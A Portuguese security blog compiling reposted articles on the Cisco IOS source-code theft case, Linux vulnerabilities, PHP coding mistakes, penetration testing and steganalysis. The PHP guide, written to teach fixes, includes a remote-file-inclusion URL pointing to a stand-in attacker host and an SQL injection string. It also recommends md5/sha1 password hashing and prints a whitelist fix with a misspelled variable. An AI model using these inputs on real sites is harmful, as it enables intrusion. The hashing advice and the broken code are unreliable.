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May 11 Um sueco foi indiciado na terça-feira por ter participado no roubo
do código-fonte do IOS (Internetwork Operating System), sistema
operacional usado nos roteadores da Cisco, responsáveis por boa parte
da infra-estrutura de internet atual.
Philip Gabriel Pettersson,
21, foi indiciado uma vez por invasão e duas vezes por apropriação
indevida de segredos comerciais. Ele ainda foi indiciado em dois casos
de invasão a servidores da Nasa, a agência espacial norte-americana.
Segundo
a Divisão de Crimes do Departamento de Justiça dos EUA e Joseph
Russoniello, promotor do Distrito da Califórnia, Petterson só pôde ser
indiciado depois de uma extensa investigação do FBI, agência de
investigação norte-americana.
Petterson foi identificado como
“Stakkato”, hacker que teria invadido os servidores da Cisco entre 12 e
13 de maio de 2004. Outras invasões a grandes sites foram realizadas
por Stakkato na mesma época.
No total, Petterson soma cinco
indiciamentos e cada um deles pode render até 10 anos de prisão, mais
multa de 250 mil dólares. Se o cracker for condenado em instância
máxima em todos os casos, ele pode ser sentenciado a 50 anos de prisão
e multa de 1,25 milhão de dólares.
O sistema IOS é o coração dos
roteadores e switchers da Cisco, além de outros produtos da empresa. Em
maio de 2004, partes do código-fonte do sistema operacional foram
roubados e publicados em um site russo.
Na ocasião,
especialistas em segurança disseram que isso poderia ser prejudicial à
internet, já que crackers poderiam usar as informações para atacar os
equipamentos que sustentam a rede mundial de computadores.
Fonte: http://idgnow.uol.com.br/seguranca/2009/05/06/sueco-e-acusado-de-roubar-codigo-fonte-de-roteadores-da-cisco/ May 05 Para os adeptos de plantão, este artigo não é para gerar polêmica,
mas para servir de ALERTA. Muito falamos a respeito da segurança do
sistema operacional Linux, mas bem sabemos que ele também tem suas
vulnerabilidades. Quais? As da Microsoft parece que todo usuário Linux
sabe de cor, mas e as vulnerabilidades do próprio sistema operacional
Linux?
Pois é, aqui vai o alerta. Um dia escutei a frase: "o sistema
operacional mais seguro é aquele que você mais domina" e tive que
concordar plenamente. Pesquisando, então, sobre as vulnerabilidades do
Linux, esperando encontrar pouca coisa, achei muita gente relatando
seus problemas. Até que encontrei no site da SANS
uma pesquisa realizada pela própria SANS junto ao FBI, e pude
esclarecer essa minha dúvida. A pesquisa aborda as 20 maiores
vulnerabilidades encontradas, sendo dez para servidores Windows e dez
para servidores Unix.
As brechas do Linux
Abaixo estão listadas as dez maiores vulnerabilidades do Sistema
Operacional Linux/Unix, traduzidas em outubro de 2003 e ainda hoje
presentes:
- BIND – O BIND é o principal serviço de ataque dos crackers. A
maioria dos bugs já foram resolvidos, mas a maioria das pessoas mantém
as versões mais antigas por uma questão de funcionalidade e também por
não disporem de tempo para a migração.
- RPC – O RPC é um serviço para receber chamadas de
procedimentos que serão executados remotamente. É extremamente
importante para a funcionalidade da rede interna, pois é utilizado para
distribuição de carga, processamento distribuído, cliente/servidor etc.
O NFS, que é um dos sistemas de arquivos de rede mais conhecidos e
utilizados, usa diretamente o RPC.
- Apache – Sem dúvida é um servidor web bem mais robusto que o
IIS da Microsoft, mas não deixa de estar exposto à Internet. Vários
ataques a sistemas operacionais *NIX ocorrem pelo Apache,
principalmente para servidores com execução de scripts e permissões de
acesso a programas.
- Contas de usuários – Esta vulnerabilidade ocorre
principalmente em contas com senhas fracas ou nulas. Parece ridículo,
mas existem pessoas que conseguem invadir sistemas descobrindo senhas
pelo método da tentativa e erro e, geralmente, as senhas são as mais
óbvias possíveis. Nesses casos, não é o sistema que é violado, mas a
conta do usuário. Uma vez tendo acesso ao sistema, o invasor pode se
tornar bastante incômodo.
- Serviço de transferência em ASCII – FTP e email são os
programas diretamente relacionados a esses serviços. Todo o conteúdo
que passa por eles sob a forma de texto puro – isto é, não
criptografado, o que ocorre na maioria das instalações – pode ser
capturado. Basta alguma informação ou uma senha secreta para que a
porta seja aberta.
- Sendmail – É, talvez, o pior serviço de email do *NIX, em
comparação com seus próprios concorrentes. Tende a ser lento e
problemático. Mas é o mais utilizado, porque é extremamente flexível. É
possível implantá-lo rapidamente, por isso é a maior fonte de furos
existente na comunidade. Se puder, substitua-o.
- SNMP – Uma excelente ferramenta administrativa,
principalmente para grandes empresas. Contudo, por ser um projeto
baseado na comunicação com a rede, está sujeito a vulnerabilidades. O
serviço é ativado por padrão nos sistemas Linux, o que causa o
esquecimento por parte dos usuários.
- SSH – É a solução ideal para acesso remoto seguro, abolindo
de vez o venerável Telnet. No entanto, pode tornar-se totalmente
ineficaz se não for administrado corretamente. Escolha o nível de
segurança mais desejado, lembrando que ele é diretamente proporcional
ao trabalho para configurá-lo. E não se esqueça de proteger as chaves
privadas dos usuários!
- Compartilhamento de arquivos – Ocorre principalmente com
NIS/NFS e Samba mal configurados. Pode comprometer a segurança, abrindo
brechas para ataques externos.
- SSL – Embora seja extremamente eficaz para criar conexões
seguras entre cliente/servidor, o SSL permite o acesso ao servidor por
parte do cliente. Pode se tornar uma porta para o acesso de intrusos.
Depois dessa lavada de vulnerabilidades, vale deixar alguns
comentários. A vulnerabilidade não está necessariamente relacionada ao
uso desses serviços, mas está muito relacionada a sua má configuração.
Não confie demais na sua segurança. A desconfiança é o melhor aliado de um bom administrador.
Como diminuir a vulnerabilidade
Um sistema bem administrado diminui enormemente a probabilidade de
invasão. Segundo as vulnerabilidades aqui discutidas, vamos a algumas
dicas de segurança:
- BIND – Procure adotar uma política de mascaramento das informações.
- RPC – Use o serviço somente se necessário.
- Apache – Ajuste bem as configurações. Habilite somente scripts
e programas com destino correto e que não comprometam de forma alguma o
sistema.
- Contas de usuários – Evite criar contas de usuários em
demasia, principalmente contas para acesso multiusuário. Adote uma
política de senhas seguras e jamais permita o acesso a serviços e contas de usuários sem senha.
- Serviços ASCII – Toda comunicação pode e deve ser feita de
forma criptografada. Arquivos ASCII são muito vulneráveis e todos podem
ter acesso ao seu conteúdo facilmente.
- Sendmail – Atualize e configure corretamente. De preferência, gaste um pouco de tempo e implemente outro servidor.
- SNMP – Não se esqueça de estabelecer as regras de utilização do serviço. Não use se não for necessário.
- SSH – Muitíssimo bom, mas configure-o da forma mais restrita
possível. Restrinja o acesso somente a usuários do sistema. Se
possível, restrinja o acesso ao servidor X. Controle o acesso às chaves
privadas. Bloqueie senhas em branco, pois elas se tornam uma arma na
mão dos invasores.
- Compartilhamento de rede – Compartilhe somente o que for
necessário e restrinja ao máximo o acesso dos usuários ao
compartilhamento. De preferência, use alguma ferramenta de
autenticação.
- SSL restritiva é a melhor opção quando não puder ficar sem ela.
Dicas gerais de segurança
- Execute somente os serviços necessários para a operação da sua
rede. Serviços que não são muito utilizados caem no esquecimento do
administrador.
- Verifique se os serviços estão rodando com privilégios de
root. Essas permissões geralmente causam os maiores furos na segurança.
Se não for necessário, desabilite essa opção.
- Verifique se os serviços estão configurados adequadamente à
sua rede. Tutoriais e How-To’s geralmente indicam o caminho de como
configurar, mas na sua maioria não são muito específicos.
- Estabeleça uma política de segurança para a sua rede, como serviços de compartilhamento disponíveis, política de senhas etc.
- Firewall. Estabeleça um filtro de tudo que entra na sua rede.
De preferência feche todas as portas que não são necessárias para o
funcionamento do servidor.
- Evite serviços de comunicação p2p, como servidores de músicas, vídeos e até chats e mensagens.
- Como última dica: monitore. Diz o ditado que “o boi só engorda
aos olhos do seu dono”. Se você cuida da sua rede, dificilmente terá
problemas de vulnerabilidade.
Fonte: http://www.linuxmagazine.com.br/materia/o_linux_e_seguro April 09 Vou falar sobre alguns erros comuns que são cometidos por
programadores que estão começando agora. Resolvi fazer esse artigo pois
vejo diariamente em fóruns de PHP pessoas com erros em scripts que
possuem rombos enormes de segurança… Não prometo deixar o seu sistema
tão protegido quanto o carro do Obama mas, sem dúvida, você vai evitar
que muita gente faça um estrago considerável no seu site.
Se
você se identificar com algumas dessas medidas não saia correndo e se
jogue da ponte… Faça os devidos ajustes e tudo ficará bem!
Cuidados com a URL - Parte I
Uma falha muito comum são aqueles sites que, tentando usar um
sistema "legal", acabam abusando da sorte. São sites que incluem o
conteúdo (via include()) baseado em uma variável do método $_GET.
Exemplo:
<?php // Verifica se a variável $_GET['pagina'] existe if (isset($_GET['pagina'])) { $arquivo = $_GET['pagina']; // Pega o valor da variável $_GET['pagina'] } else { $arquivo = 'home.php'; // Se não existir variável, define um valor padrão } include ($arquivo); // Inclui o arquivo ?>
E na URL do site ficaria:
http://www.meusite.com.br/?pagina=contato.php
Com isso o "invasor" pode, por exemplo, colocar um caminho de um script externo no lugar da variável:
http://www.meusite.com.br/?pagina=http://sitedumal.net/deleta-banco.php
O seu site incluiria o arquivo normalmente e executaria tudo que existe dentro dele. O resto você já pode imaginar.
Evitar
que isso aconteça é extremamente simples: é só criar um array contendo
os nomes dos arquivos que poderão ser incluídos, dessa forma:
<?php // Define uma lista com os arquivos que poderão ser chamados na URL $perimitidos = array('home.php', 'produtos.php', 'contato.php', 'empresa.php'); // Verifica se a variável $_GET['pagina'] existe E se ela faz parte da lista de arquivos permitidos if (isset($_GET['pagina']) AND (array_search($_GET['pagina'], $permitidos) !== false) { $arquivo = $_GET['pagina']; // Pega o valor da variável $_GET['pagina'] } else { $arquivo = 'home.php'; // Se não existir variável $_GET ou ela não estiver na lista de permissões, define um valor padrão } include ($arquivo); // Inclui o arquivo ?>
Viu? Adicionamos uma única linha e mais uma condição e está tudo
resolvido. Com isso, se o atacante colocar lá o site dele na URL do seu
site, o PHP vai identificar que a variável $_GET['pagina'] existe mas
não está no array $permitidos, então ele vai incluir o arquivo home.php.
Cuidados com a URL - Parte II
Outro erro comum é quando passamos parâmetros pela URL, por exemplo:
o ID de uma categoria ou de um produto que, mais tarde, será buscado
direto no banco para recolher algumas informações.
Geralmente o formato é o seguinte:
http://www.meusite.com.br/produtos.php?id=12 ou http://www.meusite.com.br/?pagina=produtos.php&id=12
Com
isso (se você não se preparar) você deixa uma porta aberta para um
ataque famoso chamado SQL-Injection que nada mais é do que a inserção
de um código SQL em um campo de texto ou parâmetro da URL que será
enviado diretamente para o banco. Vamos a um exemplo:
<?php // Formato da URL: // http://www.meusite.com.br/produtos.php?id=12 // Salva o parâmetro da URL numa variável $produto = $_GET['id']; // Monta a consulta MySQL $sql = "SELECT * FROM `produtos` WHERE `id` = '".$produto."' LIMIT 1"; // Executa a query $query = mysql_query($sql); // Salva o resultado (em formato de array) em uma variável $resultado = mysql_fetch_assoc($query); ?>
A sua consulta ao MySQL ficaria da seguinte forma:
SELECT * FROM `produtos` WHERE `id` = '12' LIMIT 1
Até aqui tudo bem. Seu script funciona, você tem o que precisa e tá
tudo na mais perfeita harmonia. Mas chega um desocupado invasor e
modifica a sua URL deixando da seguinte forma:
http://www.meusite.com.br/produtos.php?id=' OR 1=1 OR "='
Agora a sua query MySQL fica assim:
SELECT * FROM `produtos` WHERE `id` = '' OR 1=1 OR '' = '' LIMIT 1
Viu o que aconteceu? As possíveis condições para a consulta ser
verdadeira são: id igual a vazio, 1 igual a 1 e vazio igual a vazio.
Essa consulta vai ser dada como verdadeira e todos os produtos serão
retornados. Sim, meu amigo, é o fim do mundo.
Mas, como eu disse, não estou aqui para te assustar e sim para
mostrar como resolver o pepino. Vamos a uma atitude simples mas que te
salvará do Apocalipse… É só mudar uma linha:
// Salva o parâmetro da URL numa variável obrigando-o a ser um valor inteiro $produto = (int)$_GET['id'];
Com isso eu digo que valor da variável $produto será igual ao valor
inteiro (int de integer) da variável $_GET['id']. Problema resolvido,
meus caros! Se o atacante colocar uma string como parâmetro (todo
SQL-Injection é uma string) ela será convertida para inteiro. E o valor
inteiro de uma string é igual a zero.
Peço atenção dobrada para o entendimento desse último exemplo pois o SQL-Injection é o ataque mais comum dos últimos tempos.
Caso
você passe parâmetros via URL que são strings e não números inteiros,
você pode usar a função mysql_real_escape_string() da seguinte forma:
$parametro = mysql_real_escape_string($_GET['nome']);
Com isso você evita o uso de aspas e caracteres protegidos do MySQL
mantendo a sua query segura. Esse caso também vale para formulários dos
quais os dados vão direto para consultas MySQL (formulários de login,
cadastro e comentários, por exemplo).
Sobre Usuários e Senhas
Outro ponto muito importante é não exibir, em momento algum, o nome
de login (usuário) de algum usuário cadastrado no sistema. Lembre-se
que para um usuário conseguir invadir a conta do outro ele precisa de
duas coisas: usuário (ou e-mail) e a senha.. Se ele souber o usuário já
tem 50% de sucesso.
Vale lembrar, também, que você não precisa
deixar a senha do usuário na forma real quando salvá-la no banco. É
muito mais seguro salvar um md5() ou sha1() da senha no banco e quando
for necessário fazer a validação do usuário você também gera o md5() ou
sha1() da senha que ele digitou e compara com o que há no banco. Assim,
se por ventura alguém conseguir invadir e pegar todos os registros do
banco de usuários, o máximo que ele irá conseguir são o usuário/e-mail
e uma senha criptografada.
Fonte: http://imasters.uol.com.br/artigo/12318/php/principais_falhas_de_seguranca_no_php March 23 Pesquisas indicam que o grande número de ataques ocorre através de
vulnerabilidades apresentadas em aplicações web e que a grande
porcentagem desses ataques é realizada via protocolo http/S ou portas
que estão freqüentemente expostas às comunidades web. Com esses fatos,
é essencial que as corporações estejam em alerta para proteger suas
aplicações web.
Como os aplicativos web tornam-se cada vez mais complexos, enormes
quantidades de dados sigilosos, incluindo informações pessoais e
financeiras são trocadas e armazenadas. E os consumidores esperam que
estas informações sejam mantidas de maneira segura e sigilosa.
Existem dois métodos para descobrir vulnerabilidades em um
aplicativo web: por meio de ensaio e invasão manual ou usando
ferramentas automatizadas de varredura e análise estática.
A técnica de testes de segurança de invasão manual é um dos mais
antigos métodos utilizados para descobrir vulnerabilidades em
aplicações. Á medida em que a frequência dos ataques tem crescido e a
complexidade das aplicações aumentado surgem cada vez mais
especialistas em testes de invasão, ou "pen". O único objetivo destes
profissionais consiste em encontrar e explorar problemas de segurança
em aplicações web.
No final dos anos 1990, as empresas começaram a desenvolver técnicas
para automatizar estes testes. Nessa época, a web tinha se tornado mais
madura e navegadores estavam começando a ser capazes de lidar com as
complexidades necessárias para a dinâmica das aplicações. O objetivo
destas ferramentas foi antecipado para automatizar o processo de
realização de varredura no aplicativo, injetar falhas e descobrir
vulnerabilidades.
As ferramentas automatizadas são capazes de cruzar informações,
analisá-las e testar as aplicações de uma maneira mais eficiente do que
o teste de invasão manual. Estas ferramentas têm amadurecido e a
maioria das vulnerabilidades existentes hoje já está endereçada e é bem
resolvida. Além disso, como os aplicativos web continuam a crescer em
tamanho, o teste manual está ficando cada vez mais difícil. Em muitas
organizações ele se torna praticamente impossível de ser aplicado, pois
seria necessária a dedicação de muito tempo, esforço físico e dinheiro.
Embora as ferramentas automatizadas e testadores qualificados possam
navegar em uma aplicação web, somente o testador é capaz de compreender
a lógica por trás do fluxo de trabalho da aplicação. Este entendimento
permite ao teste manual subverter a lógica do negócio. Por exemplo, um
aplicativo pode direcionar o usuário a partir do ponto A ao ponto B e
ao ponto C, onde o ponto B é uma validação de segurança. A revisão
manual do aplicativo pode mostrar que é possível ir diretamente a
partir do ponto A ao ponto C, ignorando totalmente a validação de
segurança.
Tanto os testes manuais quanto os automatizados são métodos
exaustivos de identificação de vulnerabilidades em aplicações web. Cada
método tem suas forças e fraquezas inerentes e ambos podem ser usados
para descobrir vulnerabilidades críticas de segurança.
As ferramentas automatizadas nunca devem substituir completamente os
testes manuais. No entanto, se usadas corretamente, estas ferramentas
podem ser usadas para encontrar uma ampla gama de técnicas de
vulnerabilidades, economizando tempo e dinheiro. Sofisticadas
organizações utilizam a combinação correta de ferramentas automatizadas
e ensaios de invasão manual para proporcionar uma melhor segurança do
aplicativo web.
Fonte: http://www.decisionreport.com.br/publique/cgi/cgilua.exe/sys/start.htm?infoid=4141&sid=15 March 16 Como o uso de esteganografia torna-se mais
prevalente no mundo do crime, tanto nos crimes tradicionais quanto nos
novos e crescentes no mundo do cybercrime, a inspeção de arquivos
digitais para descobrir ou detectar esteganografia assume uma
importância acrescida. A emergente disciplina de esteganografia ou
esteganalise necessita de uma formação de um subconjunto de
especialistas em forense digital, que deve ser praticada de mão dada
com outras atividades de investigação.
Pósmortem - Estratégias de Investigação A
investigação sobre a eventual utilização de esteganografia pode ser um
processo complexo e demorado. Examinar as evidências de uma disco
rígido que contém 10.000 imagens, 2.500 arquivos de áudio e 500
vídeoclipes poderia facilmente levar semanas. Se vários computadores,
backup ou mídia de Internet, seria necessária uma análise do processo,
podendo, naturalmente, tomar muito mais tempo. No entanto, a aplicação
de um processo similar, mostrado abaixo, e utilizando tecnologias
sofisticadas, pode reduzir significativamente o processo.
Determinando Suspeita - Por que você suspeita do uso de esteganografia? Algumas questões questões você pode considerar: a. Será que o suspeito tem computador? b.
Será que o tipo de crime está correto, como um mandado incriminatórios
escondendo informações (criança, pornografia infantil, tráfico de
droga, terrorismo)? c. A quantidade de evidências digitais
encontradas é pequena, mas há um grande número de imagens ou arquivos
de áudio sobre o suspeito do disco rígido? Existem imagens duplicadas
ou compactadas que tem diferentes números de hash?
Identificar Conhecidos Programas de Stego -
Uma vez que você levanta suspeitas de que o suspeito pode ter empregado
esteganografia, será necessário uma pesquisa no disco rígido para
programas de esteganografia. Existem várias métodos para fazer isto. Na
versão mais recente do National Software Reference Library (NSRL),
Versão 2.1 do Instituto Nacional de Padrões e Tecnologia (NIST), e do
Instituto Nacional de Justiça (NIJ) existe um conjunto hash que foi
extraído do CD StegoArchive . Realizar uma pesquisa usando o NSRL,
dados com a orientação do Software EnCase ou WetStone's Gargoyle pode
fornecer pistas importantes.
 A
indicação do número de hash da aplicação utilizada, auxilia no
refinamento da gama de aplicações e na indicação de qual aplicação foi
utilizada. Ao identificar as ferramenta de esteganografia especifica
dois distintos benefícios podem ser obtidos.
Primeiro, podem ser obtidos os tipos de arquivos que são
transportados no programas de esteganografia especificados. Por
exemplo, se o único programa de esteganografia é encontrado, GIFITUP,
então você pode concentrar sua pesquisa em arquivos GIF.
A segunda vantagem proporcionada por este método é a possibilidade
de utilizar o programa para aumentar a tentativa de extrair os dados
ocultos, desde que você possa obter a senha utilizada pelo suspeito.
Identificar Arquivos Suspeitos
- Depois de ter sido determinado quais programas de esteganografia
foram utilizados pelo suspeito, a identificação do suspeito e os
arquivos transportados (Arquivos trsnportados: texto, imagens digitais,
pastas de áudio ou vídeo que possa dar cobertura a mensagens ocultas
ou informação) irá ajudar a reduzir o pesquisa.
 O Gargoyle identifica os tipos de arquivo suspeitos para você.
Identificar Caminhos Suspeitos
- Depois de ter estreitado a pesquisa a tipos de arquivo conhecidos é
possível realizar a análise de arquivos suspeitos. Assumindo que os
arquivos suspeitos são imagens, então estão disponíveis diversas
ferramentas para a detecção de esteganografia.
O método mais simples é a visualização de imagens ou arquivos de
áudio para examinar características incomuns ou suspeitas. A base
fundamental do conceito está em esconder informações dentro de outros
arquivos, estas informações apresentam-se "normais", pois a
visualização da imagem não é distorcida pela adição da carga, ou
material escondido. A vsualização normal da imagem para a maioria de
nós é a projeção do vermelho-verde-azul (RGB) valores em um monitor de
computador.
Portanto há a necessidade de manter a imagem em RGB para visualizar
os dados constantes. No entanto, em fazê-lo, existem sutis mudanças que
podem ser vistas por outras aplicações formas de visualização da
imagem, como o Matiz ou Saturação.
Usando um Stego Image Viewer, pode-se visualizar a forma normal e a
de saturação mostrada à esquerda na figura seguinte. Novamente na
página seguinte, no exemplo em o direito, nós começamos com uma inserir
um arquivo JPEG de 111K, e usei o programa de esteganografia JSTEG
inserindo 5K um byte do arquivo. Neste exemplo, mostro o contraste da
representação da imagem normal versus a da visualização da Matiz.
 Detectando Steganografia (Esteganalise)
Estas técnicas têm sido desenvolvidas por uma variedade maior de
pesquisadores, incluindo nomeadamente como J. Fridrich, N. Johnson, P.
Peticolas, RJ Anderson, e outros.
Aplicando estes enfoques teóricos tem provado, na melhor das
hipóteses a ser difícil. A maioria dos métodos proporciona uma razoável
identificação de suspeita das imagens, porém sofre de alta taxa de
falsos positivos. Isto é especialmente verdadeiro quando aplicado a uma
grande variedade de imagens (o tamanho das flutuações das imagens,
densidade colorida das imagens, imagens muito pequenas ou muito grandes
, imagens que foram convertidas entre formatos, etc) .
A dificuldade pode ser atribuída à grande variedade de imagens,
áudios e arquivos de vídeo que existem juntamente com uma ampla
variedade de fontes para esses arquivos. Por exemplo, mais de 20
(viáveis) diferentes de fabricantes de câmeras digitais hoje existem
cada oferecendo dezenas de modelos. Cada modelo cria ligeiramente
diferentes formatos de imagem, utilizando diferentes algoritmos de
compressão, inclusive algumas agora com marca dágua digital.
A capacidade de construir um modelo estatístico com uma combinação
de alta precisão e baixa detecção falsos resultados positivos é
complicado e problemático. Se você adicionar a isto a consideração de
manipulação destas imagens com programas de processamento de imagem,
aplicações de edição, programas de conversão e compressão são os
atributos de dificuldade de modelagem "normalmente em imagens digitais"
aumentando a um ritmo exorbitante.
O Laboratório de Pesquisas da Força Aérea dos EUA desenvolveu
juntamente com a Wetstone o Stego Watch, que foi concebido e
desenvolvido não só como uma produto comercial, que se beneficia da
aplicação da agências delei, mas como um quadro utilizáveis pelos
comunidade s científicas para testar os mais promissores algoritmos de
Stego detecção e mover rapidamente a partir do laboratório para as
linhas de frente.
Neste sentido, as aplicações de Stego está em fornecer uma
plataforma para novos algoritmos e abordagens para ser rapidamente
implantadas para a detecção e identificação de esteganografia, tanto no
postmortem quanto investigações online. Stego Watch expõe um API para
os investigadores e programadores que permite que novas pesquisas e
detectores de esteganografia.
Desta forma, os pesquisadores e
desenvolvedores independentes possam acrescentar novos algoritmos e
comparar e correlacionar seus resultados. Veja no site www.wetstonetech.com como você poderia auxiliar o desenvolvimento de algoritmos para a busca de esteganografia.
Fonte: http://imasters.uol.com.br/artigo/11971/forense/steganalise_e_investigacao_forense/
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